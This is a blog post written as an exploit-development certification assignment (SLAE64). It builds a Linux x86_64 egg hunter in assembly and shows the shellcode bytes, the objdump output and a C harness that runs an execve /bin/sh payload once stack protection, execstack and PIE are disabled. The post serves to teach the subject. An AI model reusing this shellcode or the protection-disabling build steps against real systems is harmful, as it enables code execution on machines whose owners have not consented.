Student ID: SLAE64-1611
Assignment Three: Creating Shellcode for an Egg Hunter in x86_64
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert 64 Certification:
https://www.pentesteracademy.com/course?id=7
All code can be found in: https://github.com/securitychops/security-tube-slae64
All work was tested on a 64bit version of Ubuntu 18.04.1 LTS
TLDR; - JMP short Final_Shellcode
Creating Shellcode for an Egg Hunter in x86_64
If you have not already read my post from the 32bit version of the SLAE (Creating Shellcode for an Egg Hunter (x86 edition)) then I would highly encourage you to do so before continuing forward since I will not be going into quite the same level of extreme detail I did in that post…
Not Just a Port This Time …
Thus far we have only had to port our code directly from x86 to x86_64 … however this time around there was a slight snag in that the core functionality of the function used to check if the memory we want to search was valid or not!
In the x86 version we used a function called sigaction, which is comprised of the following code:
300SYSCALL_DEFINE3(sigaction, int, sig, const struct sigaction __user *, act,
301 struct sigaction __user *, oact)
302{
303 struct k_sigaction new_ka, old_ka;
304 int ret;
305 int err = 0;
306
307 if (act) {
308 old_sigset_t mask;
309
310 if (!access_ok(VERIFY_READ, act, sizeof(*act)))
311 return -EFAULT;
312 err |= __get_user(new_ka.sa.sa_handler, &act->sa_handler);
313 err |= __get_user(new_ka.sa.sa_flags, &act->sa_flags);
314 err |= __get_user(mask, &act->sa_mask.sig[0]);
315 if (err)
316 return -EFAULT;
317
318 siginitset(&new_ka.sa.sa_mask, mask);
319 }
320
321 ret = do_sigaction(sig, act ? &new_ka : NULL, oact ? &old_ka : NULL);
322
323 if (!ret && oact) {
324 if (!access_ok(VERIFY_WRITE, oact, sizeof(*oact)))
325 return -EFAULT;
326 err |= __put_user(old_ka.sa.sa_flags, &oact->sa_flags);
327 err |= __put_user(old_ka.sa.sa_handler, &oact->sa_handler);
328 err |= __put_user(old_ka.sa.sa_mask.sig[0], oact->sa_mask.sig);
329 err |= __put_user(0, &oact->sa_mask.sig[1]);
330 err |= __put_user(0, &oact->sa_mask.sig[2]);
331 err |= __put_user(0, &oact->sa_mask.sig[3]);
332 if (err)
333 return -EFAULT;
334 }
335
336 return ret;
337}
338#endif
And initially I tried making a call to rt_sigaction, which is comprised of the following code:
2955SYSCALL_DEFINE4(rt_sigaction, int, sig,
2956 const struct sigaction __user *, act,
2957 struct sigaction __user *, oact,
2958 size_t, sigsetsize)
2959{
2960 struct k_sigaction new_sa, old_sa;
2961 int ret = -EINVAL;
2962
2963 /* XXX: Don't preclude handling different sized sigset_t's. */
2964 if (sigsetsize != sizeof(sigset_t))
2965 goto out;
2966
2967 if (act) {
2968 if (copy_from_user(&new_sa.sa, act, sizeof(new_sa.sa)))
2969 return -EFAULT;
2970 }
2971
2972 ret = do_sigaction(sig, act ? &new_sa : NULL, oact ? &old_sa : NULL);
2973
2974 if (!ret && oact) {
2975 if (copy_to_user(oact, &old_sa.sa, sizeof(old_sa.sa)))
2976 return -EFAULT;
2977 }
2978out:
2979 return ret;
2980}
https://stackoverflow.com/questions/12889116/what-is-the-difference-between-signal-and-rt-signal-syscalls-in-linux
The main difference in the two is that in the x86 version there is a call to:
if (!access_ok(VERIFY_READ, act, sizeof(*act)))
and in the x86_64 version there is not … so it instead of calling rt_sigaction I instead made a call to sys_access, which does the same basic thing by returning an EFAULT when it tries to read from memory we do not have access to.
So after swapping out the call to rt_siginit with sys_access we are left with the following (null free) assembly code:
; Student ID : SLAE64-1611
; Student Name : Jonathan "Chops" Crosby
; Assignment 3 : Egg Hunter (Linux/x86_64) Assembly
; File Name : egghunter.nasm
global _start
section .text
_start:
xor rdx, rdx ; zero out rdx so we have a place to
; hold our memory address
setup_page:
or dx, 0xfff ; setting lower 16 bits to 4095
next_address:
inc rdx ; moving it to 4096 while avoiding
; null characters 0x00
xor rax, rax ; zeroing out eax
mov rsi, rax ; zero out int mode in param 2
add rax, 21 ; set rax to sys_access
mov rdi, rdx ; moving memory address to param 1
syscall ; invoke sys_access
cmp al, 0xf2 ; eax will contain 0xf2 if memory
; is not valid, ie. an EFAULT
jz setup_page ; if the compare flag is zero then
; we don't have valid memory so reset
; to the next memory page and press on
mov rax, 0xFCFCFCFCFCFCFCFC ; moving egg into eax in prep for searching
mov rdi, rdx ; moving memory address into param 1
scasq ; comparing egg with memory location
jnz next_address ; if it dosent match increase memory by one byte
; and try again
scasq ; comparing egg with memory location
jnz next_address ; if this is not zero it's not a match
; so on we will press increasing memory one more byte
jmp rdi ; if we got this far then we found our egg and our
; memory address is already at the right place due
; to scasq so it's time to jump!
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-3/egghunter.nasm
Null Free Is The Way To Be!
After again running our command to disassemble our completed egg hunter binary we can see that we do indeed have no nulls!
objdump -d -M intel egghunter
which produces the following output:
egghunter: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: 48 31 d2 xor rdx,rdx
0000000000400083 <setup_page>:
400083: 66 81 ca ff 0f or dx,0xfff
0000000000400088 <next_address>:
400088: 48 ff c2 inc rdx
40008b: 48 31 c0 xor rax,rax
40008e: 48 89 c6 mov rsi,rax
400091: 48 83 c0 15 add rax,0x15
400095: 52 push rdx
400096: 5f pop rdi
400097: 0f 05 syscall
400099: 3c f2 cmp al,0xf2
40009b: 74 e6 je 400083 <setup_page>
40009d: 48 b8 fc fc fc fc fc movabs rax,0xfcfcfcfcfcfcfcfc
4000a4: fc fc fc
4000a7: 48 89 d7 mov rdi,rdx
4000aa: 48 af scas rax,QWORD PTR es:[rdi]
4000ac: 75 da jne 400088 <next_address>
4000ae: 48 af scas rax,QWORD PTR es:[rdi]
4000b0: 75 d6 jne 400088 <next_address>
4000b2: ff e7 jmp rdi
At this point all that is left is to convert our egg hunter to shellcode for insertion into our proof of concept C program:
for i in $(objdump -D egghunter.o |grep "^ " |cut -f2);do echo -n '\x'$i;done;echo
Which produces the following output:
\x48\x31\xd2\x66\x81\xca\xff\x0f\x48\xff\xc2\x48\x31\xc0\x48\x89\xc6\x48\x83\xc0\x15\x52\x5f\x0f\x05\x3c\xf2\x74\xe6\x48\xb8\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\x48\x89\xd7\x48\xaf\x75\xda\x48\xaf\x75\xd6\xff\xe7
which we can then insert into our proof of concept C program that will execute our shellcode!
// Student ID : SLAE64-1611
// Student Name : Jonathan "Chops" Crosby
// Assignment 3 : Egg Hunter (Linux/x86_64) Assembly
// File Name : shellcode.c
#include<stdio.h>
#include<string.h>
//compile with: gcc shellcode.c -o shellcode -fno-stack-protector -z execstack -no-pie
const unsigned char egghunter[] = \
"\x48\x31\xd2\x66\x81\xca\xff\x0f\x48\xff\xc2\x48\x31\xc0\x48\x89\xc6\x48\x83\xc0\x15\x52\x5f\x0f\x05\x3c\xf2\x74\xe6\x48\xb8\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\x48\x89\xd7\x48\xaf\x75\xda\x48\xaf\x75\xd6\xff\xe7";
const unsigned char payload[] = \
"\xFC\xFC\xFC\xFC\xFC\xFC\xFC\xFC"
"\xFC\xFC\xFC\xFC\xFC\xFC\xFC\xFC"
"\x48\x31\xc0\x48\x83\xc0\x3b\x4d\x31\xc9\x41\x51\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x41\x51\x48\x89\xe2\x57\x48\x89\xe6\x0f\x05";
main()
{
printf("Egghunter Shellcode Length: %zu\n", strlen(egghunter));
printf("Payload Shellcode Length: %zu\n", strlen(payload));
int (*ret)() = (int(*)())egghunter;
ret();
}
}
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-3/shellcode.c
Which needs to be compiled with the following flags in order to disable all of the normal protections against executing dangerous code like we are about to do…
gcc shellcode.c -o shellcode -fno-stack-protector -z execstack -no-pie
No Pie for You, Come Back One Year!
So something interesting happened while trying to get the exploit code to work on a modern copy of Ubuntu 18.04.1 x86_64 … no matter what I did it just would not work. When I would run the shellcode binary through strace I could see the call to access was correctly being called but it would always return an EFAULT even though when I could call strace on the egghunter binary I could see it finding accessible memory any issues … so what gives?
As it turns out, there have been quite a few security features introduced over the years … and while I was familair with disabling a few of them (no-stack-protector and execstack) there was one called position independent executables (pie) I was not quite as familair with. After a lot of googling around I was able to determine that in my case, since the OS (and gcc) was so recent, that I needed to add one additional flag to gcc called -no-pie.
After adding that flag my egghunter worked perfectly with my proof of concept exploit/shellcode!
For more information about pie check out the following links:
https://access.redhat.com/blogs/766093/posts/1975793
https://en.wikipedia.org/wiki/Position-independent_code
So without further ado … lets see it in action!
Our Egg Hunter finding the /bin/sh payload:
Final_Shellcode:
Below is the finished set of code that will perform the egg hunt. The Assembly is for the egg hunter itself, while the C code is where we invoke the egg hunter code as well as insert the payload shellcode into the program memory. Remember to prepend \xFC\xFC\xFC\xFC\xFC\xFC\xFC\xFC\xFC\xFC\xFC\xFC\xFC\xFC\xFC\xFC to the beginning of whatever payload you decide to execute, as this egg hunter should find and execute Linux/x86_64 shellcode of any length!
Our Egg Hunter Assembly Code in x86_64
; Student ID : SLAE64-1611
; Student Name : Jonathan "Chops" Crosby
; Assignment 3 : Egg Hunter (Linux/x86_64) Assembly
; File Name : egghunter.nasm
global _start
section .text
_start:
xor rdx, rdx ; zero out rdx so we have a place to
; hold our memory address
setup_page:
or dx, 0xfff ; setting lower 16 bits to 4095
next_address:
inc rdx ; moving it to 4096 while avoiding
; null characters 0x00
xor rax, rax ; zeroing out eax
mov rsi, rax ; zero out int mode in param 2
add rax, 21 ; set rax to sys_access
mov rdi, rdx ; moving memory address to param 1
syscall ; invoke sys_access
cmp al, 0xf2 ; eax will contain 0xf2 if memory
; is not valid, ie. an EFAULT
jz setup_page ; if the compare flag is zero then
; we don't have valid memory so reset
; to the next memory page and press on
mov rax, 0xFCFCFCFCFCFCFCFC ; moving egg into eax in prep for searching
mov rdi, rdx ; moving memory address into param 1
scasq ; comparing egg with memory location
jnz next_address ; if it dosent match increase memory by one byte
; and try again
scasq ; comparing egg with memory location
jnz next_address ; if this is not zero it's not a match
; so on we will press increasing memory one more byte
jmp rdi ; if we got this far then we found our egg and our
; memory address is already at the right place due
; to scasq so it's time to jump!
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-3/egghunter.nasm
Final C Program To Execute Egg Hunter
// Student ID : SLAE64-1611
// Student Name : Jonathan "Chops" Crosby
// Assignment 3 : Egg Hunter (Linux/x86_64) Assembly
// File Name : shellcode.c
#include<stdio.h>
#include<string.h>
//compile with: gcc shellcode.c -o shellcode -fno-stack-protector -z execstack -no-pie
const unsigned char egghunter[] = \
"\x48\x31\xd2\x66\x81\xca\xff\x0f\x48\xff\xc2\x48\x31\xc0\x48\x89\xc6\x48\x83\xc0\x15\x52\x5f\x0f\x05\x3c\xf2\x74\xe6\x48\xb8\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\x48\x89\xd7\x48\xaf\x75\xda\x48\xaf\x75\xd6\xff\xe7";
const unsigned char payload[] = \
"\xFC\xFC\xFC\xFC\xFC\xFC\xFC\xFC"
"\xFC\xFC\xFC\xFC\xFC\xFC\xFC\xFC"
"\x48\x31\xc0\x48\x83\xc0\x3b\x4d\x31\xc9\x41\x51\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x41\x51\x48\x89\xe2\x57\x48\x89\xe6\x0f\x05";
main()
{
printf("Egghunter Shellcode Length: %zu\n", strlen(egghunter));
printf("Payload Shellcode Length: %zu\n", strlen(payload));
int (*ret)() = (int(*)())egghunter;
ret();
}